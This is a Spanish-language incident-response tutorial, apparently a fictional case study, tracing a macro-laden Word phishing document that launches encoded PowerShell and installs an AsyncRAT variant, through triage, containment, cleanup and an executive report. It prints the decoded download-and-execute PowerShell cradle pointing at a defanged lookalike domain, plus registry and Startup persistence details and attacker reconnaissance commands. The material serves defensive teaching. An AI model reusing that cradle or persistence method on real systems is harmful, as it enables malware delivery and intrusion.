IntermedioEDRincident responsePowerShellinforme ejecutivoMITRE ATT&CKSOC

De Alerta EDR a Informe Ejecutivo: Caso End-to-End Completo

Caso completo end-to-end desde una alerta EDR por PowerShell sospechoso hasta el informe ejecutivo final. Triage, investigación, escalación, contención, erradicación, recuperación, lecciones aprendidas y redacción del informe para dirección.

MalwareIntel Research··17 min lectura
Serie: Casos de Uso — Parte 10

La alerta

Miércoles, 10:23 AM. La consola del EDR (CrowdStrike Falcon en este escenario, aunque el flujo aplica a cualquier EDR) genera una alerta de severidad MEDIA:

ALERT: Suspicious PowerShell Execution
Severity: MEDIUM
Host: WS-SALES-07 (10.0.2.47)
User: m.fernandez (Marketing)
Process: powershell.exe
Parent Process: WINWORD.EXE
Command Line: powershell.exe -NoP -W Hidden -Enc SQBFAF...
Detection: T1059.001 (Command and Scripting Interpreter: PowerShell)
Action: DETECTED (not blocked, policy is detect-only for encoded PowerShell)

La alerta llega al dashboard del SOC donde hay 47 alertas abiertas del turno de mañana. El analista N1 la clasifica como prioritaria porque:

  1. PowerShell lanzado desde Word (proceso hijo inusual)
  2. Flags -NoP -W Hidden (bypass de perfil y ventana oculta)
  3. Contenido codificado en Base64 (-Enc)
  4. Usuario de Marketing (no es perfil técnico que use PowerShell)

Fase 1: Triage (15 minutos)

Objetivo del triage

Determinar si la alerta es un verdadero positivo (VP), falso positivo (FP) o indeterminado. El triage no es una investigación completa. Es una clasificación rápida.

Pasos del analista N1

Paso 1: Verificar el usuario y el equipo (2 min)

Consulta AD: m.fernandez
  Departamento: Marketing
  Cargo: Marketing Manager
  Último login: hoy 09:15
  Equipo asignado: WS-SALES-07
  Historial de alertas: 0 alertas previas

Un usuario de Marketing sin historial de alertas ejecutando PowerShell codificado desde Word. No es comportamiento esperado.

Paso 2: Decodificar el comando PowerShell (3 min)

# Decodificar Base64 del -Enc
[System.Text.Encoding]::Unicode.GetString(
  [System.Convert]::FromBase64String("SQBFAF...")
)

Resultado decodificado:

IEX (New-Object Net.WebClient).DownloadString(
  'http://cdn-office365[.]com/update/config.ps1'
)

Descarga y ejecuta un script remoto desde un dominio que imita Microsoft Office 365.

Paso 3: Verificar el dominio (3 min)

Consulta VirusTotal: cdn-office365[.]com
  Detections: 12/87 vendors
  Created: 2026-06-01 (hace 4 días)
  Registrar: Namecheap
  IP: 193.142.59[.]21 (AS 55990, Serverius B.V.)
  Tags: malware, phishing

Dominio de 4 días, ya flaggeado como malicioso. Verdadero positivo confirmado.

Paso 4: Verificar el documento Word origen (5 min)

El EDR muestra que WINWORD.EXE abrió un archivo: Propuesta_Colaboracion_Q4.docm

Hash SHA256: f3e4d5c6b7a8...
Origen: email de soporte@empresa-partner[.]xyz (recibido hoy 10:18)
VirusTotal: 8/62 detections
Tags: macro, downloader

Un documento Word con macros recibido por email hace 5 minutos, que al abrirlo ejecuta PowerShell codificado para descargar un payload remoto.

Clasificación del triage

Resultado: VERDADERO POSITIVO CONFIRMADO
Severidad revisada: ALTA (de MEDIA)
Razón: Cadena email > Word macro > PowerShell > descarga payload
Escalación: N2 inmediata

Tiempo de triage: 13 minutos. El analista N1 escala con toda la información recopilada.

Fase 2: Investigación (N2, 2 horas)

Preguntas a responder

  1. ¿Se descargó y ejecutó el payload de segunda etapa?
  2. ¿Hay persistencia establecida en el equipo?
  3. ¿Hay indicadores de movimiento lateral?
  4. ¿Hay otros equipos afectados por el mismo email?

Investigación del payload

El EDR muestra la cadena de procesos completa:

WINWORD.EXE (PID 4892)
  └── powershell.exe (PID 7234) -NoP -W Hidden -Enc SQBFAF...
        └── powershell.exe (PID 8901) (descargado de cdn-office365[.]com)
              └── rundll32.exe (PID 9123) (carga DLL desde AppData\Local\Temp)

El payload de segunda etapa (config.ps1) descargó y ejecutó una DLL mediante rundll32.exe. La DLL está en:

C:\Users\m.fernandez\AppData\Local\Temp\msupdate.dll
SHA256: a8b7c6d5e4f3...
VirusTotal: 22/72 detections
Family: AsyncRAT variant

Resultado: se ejecutó el payload. El equipo tiene un RAT (Remote Access Trojan) activo.

Verificar persistencia

Sysmon Event ID 13 (Registry Value Set):
  Image: rundll32.exe
  TargetObject: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate
  Details: rundll32.exe "C:\Users\m.fernandez\AppData\Local\Temp\msupdate.dll",Entry

Sysmon Event ID 11 (File Create):
  Image: powershell.exe
  TargetFilename: C:\Users\m.fernandez\AppData\Roaming\Microsoft\Windows\Start Menu\
    Programs\Startup\defender-update.vbs

Dos mecanismos de persistencia: clave de registro Run y script VBS en la carpeta Startup. Técnicas T1547.001 y T1547.001 respectivamente.

Verificar comunicación C2

Sysmon Event ID 3 (Network Connection):
  Image: rundll32.exe
  DestinationIp: 193.142.59[.]21
  DestinationPort: 8443
  Protocol: tcp
  
  Frequency: every 30-45 seconds (beacon pattern with jitter)

El RAT está activo y comunicándose con el C2 cada 30 a 45 segundos. El beacon está activo desde las 10:25 (hace 2 horas).

Verificar actividad del atacante

Revisar qué comandos ha ejecutado el RAT en las 2 horas que lleva activo:

Sysmon Event ID 1 (Process Create) - procesos hijos de rundll32.exe:
  
  10:27  whoami /all
  10:28  ipconfig /all
  10:29  net user /domain
  10:30  net group "Domain Admins" /domain
  10:35  systeminfo
  10:40  tasklist /v
  10:45  dir C:\Users\m.fernandez\Documents
  10:50  dir C:\Users\m.fernandez\Desktop
  11:15  nltest /dclist:CONTOSO

El atacante está en fase de reconocimiento (Discovery). Ha enumerado usuarios del dominio, administradores, información del sistema y ha listado archivos del usuario. Aún no ha intentado credential dumping ni movimiento lateral.

Verificar otros equipos afectados

Buscar el mismo email en el gateway de correo:

Búsqueda en email gateway:
  From: soporte@empresa-partner[.]xyz
  Subject: "Propuesta Colaboracion Q4"
  Attachment: Propuesta_Colaboracion_Q4.docm
  
  Resultados:
  - [email protected]    ENTREGADO  10:18 (abierto)
  - [email protected]       ENTREGADO  10:18 (no abierto)
  - [email protected]     BLOQUEADO  10:18 (filtro de adjuntos)

El email se envió a 3 destinatarios. Solo m.fernandez abrió el adjunto. l.garcia lo recibió pero no lo abrió. j.martinez fue bloqueado por el filtro de adjuntos.

Resumen de la investigación N2

Estado: INCIDENTE CONFIRMADO - RAT ACTIVO
Equipos comprometidos: 1 (WS-SALES-07)
Credenciales comprometidas: No confirmado (sin credential dumping observado)
Exfiltración: No observada (solo reconocimiento)
Movimiento lateral: No observado
Fase del atacante: Discovery (MITRE ATT&CK)
Tiempo de compromiso: ~2 horas
Riesgo: ALTO (RAT activo con beacon cada 30s, atacante activo)

Escalación a N3 para contención y erradicación.

Fase 3: Contención

Decisión de contención

El N3 decide contención inmediata porque:

  • El RAT está activo y el atacante está ejecutando comandos
  • El atacante ya tiene la lista de Domain Admins
  • El siguiente paso lógico es credential dumping o movimiento lateral
  • Cada minuto aumenta el riesgo

Acciones de contención (ejecutadas en paralelo)

Acción 1: Aislamiento del endpoint (1 min)

EDR > Host Management > WS-SALES-07 > Network Containment > Enable

El EDR aísla el equipo de la red, cortando toda comunicación excepto con la consola del EDR. El beacon C2 se interrumpe inmediatamente.

Acción 2: Bloqueo del C2 en el firewall (2 min)

# Firewall perimetral: bloquear la IP del C2
# 193.142.59[.]21 en ambas direcciones
# cdn-office365[.]com en el DNS sinkhole

Acción 3: Bloqueo del email (3 min)

Email Gateway > Message Trace > buscar SHA256 del adjunto
> Purge all copies from all mailboxes
> Block sender domain: empresa-partner[.]xyz

Eliminación del email de la bandeja de l.garcia (que no lo había abierto) y bloqueo del dominio del remitente.

Acción 4: Reset de credenciales (5 min)

AD > m.fernandez > Reset Password > Force change at next logon
AD > m.fernandez > Disable Account (temporal)

Aunque no se observó credential dumping, se resetea la contraseña preventivamente. La cuenta se deshabilita hasta que se complete la erradicación.

Fase 4: Erradicación

Recopilación de evidencia forense

Antes de limpiar, recopilar evidencia:

# 1. Memoria RAM (via EDR o remotamente)
# CrowdStrike RTR (Real Time Response):
memdump --output \\forensics-share\cases\INC-2026-0147\WS-SALES-07-memdump.raw

# 2. Triage forense (artefactos clave)
# Recopilar via KAPE o script personalizado:
# - Registry hives (SAM, SYSTEM, SOFTWARE, NTUSER.DAT)
# - Prefetch files
# - Event logs (Security, System, Sysmon)
# - Browser history y cache
# - Archivos del directorio Temp del usuario

# 3. Copia del documento malicioso
# Ya retenido por el EDR en cuarentena

Limpieza del equipo

# 1. Eliminar el RAT
Remove-Item "C:\Users\m.fernandez\AppData\Local\Temp\msupdate.dll" -Force

# 2. Eliminar persistencia - Registry Run key
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "WindowsDefenderUpdate"

# 3. Eliminar persistencia - Startup folder
Remove-Item "C:\Users\m.fernandez\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\defender-update.vbs" -Force

# 4. Eliminar documento malicioso
Remove-Item "C:\Users\m.fernandez\Downloads\Propuesta_Colaboracion_Q4.docm" -Force

# 5. Limpiar prefetch y temp
Remove-Item "C:\Users\m.fernandez\AppData\Local\Temp\*" -Force -Recurse

Verificación post-limpieza

# Verificar que no hay procesos maliciosos
Get-Process | Where-Object {$_.Path -like "*msupdate*" -or $_.Path -like "*rundll32*"}

# Verificar que no hay persistencia residual
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

# Verificar tareas programadas
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"}

# Verificar servicios nuevos
Get-Service | Where-Object {$_.Status -eq "Running"} | Sort-Object StartType

Fase 5: Recuperación

Restaurar servicio

1. Desaislar el endpoint en el EDR
2. Verificar conectividad de red
3. Habilitar la cuenta de m.fernandez con nueva contraseña
4. Contactar al usuario para verificar acceso
5. Monitorización intensiva durante 72 horas:
   - Alertas adicionales en WS-SALES-07
   - Regla temporal: cualquier ejecución de PowerShell desde Word genera alerta CRÍTICA

Verificación de no-reinfección

24 horas después:
  - Sin alertas en WS-SALES-07
  - Sin conexiones salientes sospechosas
  - Sin procesos anómalos
  - m.fernandez reporta funcionamiento normal

48 horas después:
  - Monitorización sin hallazgos
  - Se reduce la monitorización intensiva a nivel normal

72 horas después:
  - Incidente cerrado operativamente
  - Se mantienen las reglas de detección mejoradas

Fase 6: Lecciones aprendidas

Reunión post-incidente

Participantes: SOC N1, N2, N3, responsable de email security, CISO.

Qué funcionó

AspectoDetalle
Triage rápido13 minutos de triage. N1 clasificó correctamente y escaló con contexto completo
Visibilidad del EDRLa cadena de procesos completa (Word > PowerShell > rundll32) fue visible desde la alerta
Contención rápidaAislamiento del endpoint en menos de 1 minuto via EDR
Fase temprana del atacanteSe contuvo durante la fase de Discovery, antes de credential dumping o lateral movement

Qué falló

AspectoDetalleAcción correctiva
Macros habilitadasWord permitía ejecutar macros de documentos descargados de InternetBloquear macros en documentos de Internet via GPO (Mark of the Web)
PowerShell sin bloqueoLa política de EDR era "detect-only" para PowerShell codificadoCambiar a "block" para PowerShell con -Enc lanzado desde Office
Email pasó filtrosEl adjunto .docm no fue bloqueado por el gateway de emailBloquear adjuntos .docm, .xlsm de remitentes externos no verificados
Sin sandbox de emailEl email no pasó por sandbox de adjuntosImplementar sandbox para adjuntos de Office con macros

Métricas del incidente

MTTD (Mean Time to Detect):     5 minutos (desde ejecución hasta alerta EDR)
MTTT (Mean Time to Triage):     13 minutos
MTTI (Mean Time to Investigate): 2 horas
MTTC (Mean Time to Contain):    2 horas 15 minutos (desde alerta hasta contención)
MTTR (Mean Time to Recover):    4 horas (desde contención hasta servicio restaurado)

Sistemas comprometidos:  1 de ~500 (0.2%)
Datos exfiltrados:       0 bytes confirmados
Credenciales comprometidas: 0 confirmadas (reset preventivo)
Downtime del usuario:    6 horas

Fase 7: Redacción del informe ejecutivo

Por qué el informe ejecutivo importa

El equipo técnico sabe lo que pasó. El CISO, el CFO y el CEO necesitan saberlo en otros términos: impacto en el negocio, riesgo residual, coste del incidente y coste de las mejoras necesarias. Un informe ejecutivo que habla de Event IDs y hashes SHA256 no cumple su función.

Estructura del informe

El informe ejecutivo sigue esta estructura (1 a 2 páginas):


INFORME DE INCIDENTE DE SEGURIDAD

Referencia: INC-2026-0147 Clasificación: CONFIDENCIAL Fecha: 5 de junio de 2026 Autor: [Responsable de seguridad] Distribución: CISO, CTO, Director de Operaciones

1. RESUMEN EJECUTIVO

El miércoles 5 de junio a las 10:23, el equipo de seguridad detectó y contuvo un intento de intrusión dirigido contra un equipo del departamento de Marketing. Un empleado recibió un email con un documento adjunto que, al abrirlo, instaló software de acceso remoto (RAT) en su estación de trabajo. El atacante estuvo activo durante aproximadamente 2 horas realizando reconocimiento de la red antes de ser detectado y bloqueado. No se produjo robo de datos ni compromiso de sistemas críticos.

2. TIMELINE SIMPLIFICADA

HoraEvento
10:18Email malicioso recibido por 3 empleados
10:23Un empleado abre el adjunto, se instala malware
10:23Sistema EDR genera alerta de actividad sospechosa
10:36Alerta clasificada como incidente confirmado
12:38Equipo aislado de la red, atacante bloqueado
14:30Malware eliminado, equipo restaurado
16:30Servicio completamente restablecido

3. IMPACTO

  • Sistemas afectados: 1 estación de trabajo (de ~500 equipos)
  • Datos comprometidos: ninguno confirmado
  • Operaciones interrumpidas: 1 empleado sin acceso durante 6 horas
  • Coste directo estimado: ~800 EUR (horas de equipo SOC + IT)
  • Riesgo materializado: bajo (contención en fase temprana)

4. CAUSA RAIZ

Un email de phishing dirigido con un documento Word que contenía código malicioso. El documento fue abierto por un empleado del departamento de Marketing. El software de seguridad detectó la actividad maliciosa pero estaba configurado en modo "detectar" en lugar de "bloquear" para este tipo específico de ataque.

5. ACCIONES TOMADAS

  • Equipo infectado aislado y limpiado
  • Email malicioso eliminado de todos los buzones
  • Contraseñas del empleado afectado reseteadas
  • Dominio del atacante bloqueado en toda la red
  • Monitorización intensiva durante 72 horas (sin recurrencia)

6. RECOMENDACIONES

AcciónPrioridadCoste estimadoPlazo
Bloquear macros en documentos de InternetAlta0 EUR (GPO)1 semana
Cambiar política EDR a bloqueo para PowerShell desde OfficeAlta0 EUR (config)48 horas
Bloquear adjuntos .docm de remitentes externosAlta0 EUR (config)48 horas
Implementar sandbox de adjuntos de emailMedia~5.000 EUR/año1 mes
Formación anti-phishing trimestralMedia~2.000 EUR/añoRecurrente

7. ESTADO ACTUAL

El incidente está resuelto. No hay actividad maliciosa residual. Las 3 primeras recomendaciones (coste 0) se implementarán esta semana. Las 2 restantes requieren aprobación de presupuesto.


Errores comunes en informes ejecutivos

  1. Demasiado técnico: el CEO no necesita saber que fue AsyncRAT con beacon de 30 segundos al puerto 8443. Necesita saber que se instaló software de acceso remoto que fue detectado y eliminado.

  2. Sin cuantificar impacto: "fue un incidente grave" no comunica nada. "1 equipo afectado de 500, 0 datos robados, 6 horas de downtime para 1 usuario" es concreto y permite evaluar el riesgo.

  3. Recomendaciones sin coste: las recomendaciones sin coste estimado no se aprueban. Separar las que son gratuitas (cambios de configuración) de las que requieren presupuesto facilita la decisión.

  4. Culpar al usuario: "el empleado hizo clic en un adjunto malicioso" es un hecho, no una causa raíz. La causa raíz es que los controles permitieron que un documento con macros maliciosas llegara al buzón del usuario y que las macros pudieran ejecutarse. El usuario hizo lo que hacen los usuarios: abrir documentos que parecen legítimos.

  5. Sin timeline: los directivos necesitan entender la secuencia temporal para evaluar la velocidad de respuesta. Una timeline de 5 a 8 puntos es suficiente.

Indicadores de compromiso (IOCs)

Hashes (SHA256)

TipoHashDescripción
Documento Wordf3e4d5c6b7a8...Propuesta_Colaboracion_Q4.docm
DLL (AsyncRAT)a8b7c6d5e4f3...msupdate.dll (RAT payload)
PowerShell scriptc6d7e8f9a0b1...config.ps1 (descargador segunda etapa)

Infraestructura

TipoValorDescripción
Dominiocdn-office365[.]comDistribución del payload
IPv4193.142.59[.]21C2 del RAT
Puerto8443Beacon HTTPS
Emailsoporte@empresa-partner[.]xyzRemitente phishing
URI/update/config.ps1Descarga segunda etapa

Artefactos del sistema

TipoValor
ArchivoC:\Users\*\AppData\Local\Temp\msupdate.dll
RegistryHKCU\...\Run\WindowsDefenderUpdate
Startupdefender-update.vbs en carpeta Startup
Procesorundll32.exe cargando msupdate.dll

Mapeo MITRE ATT&CK

TácticaTécnicaIDUso en este caso
Initial AccessPhishing: Spearphishing AttachmentT1566.001Email con .docm adjunto
ExecutionUser Execution: Malicious FileT1204.002Usuario abre documento con macros
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001PowerShell codificado descarga payload
PersistenceBoot or Logon Autostart: Registry Run KeysT1547.001Clave Run y script Startup
Defense EvasionObfuscated Files or Information: EncodingT1027PowerShell con -Enc Base64
Defense EvasionSystem Binary Proxy Execution: Rundll32T1218.011rundll32.exe carga DLL maliciosa
Command and ControlApplication Layer Protocol: WebT1071.001HTTPS beacon cada 30-45s
DiscoveryAccount Discovery: Domain AccountT1087.002net user /domain, net group
DiscoverySystem Information DiscoveryT1082systeminfo, tasklist
DiscoveryRemote System DiscoveryT1018nltest /dclist

Timeline completa del incidente

HoraEventoActorFase
10:18Email recibido por 3 destinatariosAtacanteInitial Access
10:23m.fernandez abre el adjunto .docmUsuarioExecution
10:23Macro ejecuta PowerShell codificadoMalwareExecution
10:23EDR genera alerta severidad MEDIAEDRDetection
10:24PowerShell descarga config.ps1MalwareExecution
10:25rundll32.exe carga msupdate.dll (AsyncRAT)MalwareExecution
10:25Persistencia establecida (Registry + Startup)MalwarePersistence
10:25Primer beacon C2 a 193.142.59[.]21:8443RATC2
10:27whoami /all, ipconfig /allAtacanteDiscovery
10:29net user /domain, net group Domain AdminsAtacanteDiscovery
10:35systeminfo, tasklistAtacanteDiscovery
10:36N1 completa triage, escala a N2SOCTriage
10:45Atacante lista documentos del usuarioAtacanteDiscovery
11:15Atacante enumera controladores de dominioAtacanteDiscovery
12:30N2 completa investigación, escala a N3SOCInvestigation
12:38N3 ordena contención: aislamiento EDRSOCContainment
12:38Beacon C2 interrumpido-Containment
12:40IP y dominio C2 bloqueados en firewallSOCContainment
12:43Email malicioso eliminado de todos los buzonesSOCContainment
12:45Password de m.fernandez reseteada, cuenta deshabilitadaSOCContainment
13:00Recopilación de evidencia forenseSOC/ForenseEvidence
13:30Eliminación de malware y persistenciaSOCEradication
14:00Verificación post-limpieza completadaSOCEradication
14:30Endpoint desaislado, servicio restauradoSOC/ITRecovery
14:45Cuenta de m.fernandez rehabilitadaITRecovery
16:30m.fernandez confirma acceso normalUsuarioRecovery
17:00Monitorización intensiva 72h iniciadaSOCMonitoring
+72hSin recurrencia, incidente cerrado operativamenteSOCClosure

Conclusión

Este caso ilustra el flujo completo de un incidente de seguridad "de libro": alerta, triage, investigación, escalación, contención, erradicación, recuperación e informe. No todos los incidentes son así de lineales (muchos tienen ciclos de investigación y contención que se repiten), pero el flujo base es el mismo.

Los puntos clave para equipos que quieran mejorar su proceso:

  1. El triage de 15 minutos es el gate: si no puedes descartarlo como FP en 15 minutos, escala. No pierdas tiempo investigando en profundidad como N1.

  2. La contención no espera a la investigación completa: en este caso, contuvimos a las 2 horas 15 minutos. Si hubiéramos esperado a completar toda la investigación forense, el atacante habría tenido 2 horas más para moverse lateralmente.

  3. El informe ejecutivo no es un resumen técnico: es un documento de comunicación para personas que toman decisiones de negocio. Habla de impacto, coste y riesgo, no de Event IDs y TTPs.

  4. Las lecciones aprendidas que no se implementan no sirven: las 3 acciones correctivas de coste 0 se implementaron en 48 horas. Si se hubieran quedado en un documento, el próximo email con macros habría tenido el mismo resultado.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.